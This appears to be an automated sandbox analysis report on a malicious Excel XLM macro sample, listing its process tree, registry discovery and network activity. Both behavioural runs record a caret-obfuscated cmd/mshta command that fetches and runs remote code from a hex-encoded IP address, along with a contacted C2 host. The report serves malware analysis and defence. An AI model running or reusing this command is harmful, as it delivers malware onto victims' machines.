Malware Analysis Report

2025-03-15 07:24

Sample ID 241111-1h9yzsxcqm
Target fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef
SHA256 fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef

Threat Level: Known bad

The file fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:40

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:40

Reported

2024-11-11 21:42

Platform

win7-20241010-en

Max time kernel

61s

Max time network

37s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/cc.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2116-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2116-1-0x0000000072C3D000-0x0000000072C48000-memory.dmp

memory/2116-2-0x0000000072C3D000-0x0000000072C48000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:40

Reported

2024-11-11 21:42

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

140s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3560 wrote to memory of 3720 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3560 wrote to memory of 3720 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3720 wrote to memory of 2292 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 3720 wrote to memory of 2292 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/cc.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 209.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 102.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/3560-0-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

memory/3560-1-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp

memory/3560-5-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-6-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-8-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-10-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-9-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-7-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

memory/3560-11-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

memory/3560-12-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-4-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

memory/3560-16-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

memory/3560-15-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-14-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-18-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-17-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-13-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-3-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

memory/3560-2-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

memory/3560-29-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

memory/3560-30-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp

memory/3560-31-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 9f8aecb04b15600216799bfaf782ef50
SHA1 f07830b420e643f2a66e1c22700ae77996a5b5a8
SHA256 b18a800c32bdaede536dc3a07274fbf7a353f17bd847360d4ab3aa7123100ee3
SHA512 363baf25b714b20e9595aed40afcc5d4cb87e07490817891e5cc2690b9e5f49ee9684e776f50b60622ecf5588ec623169bae2c8fa09b0e154ad315047458d99b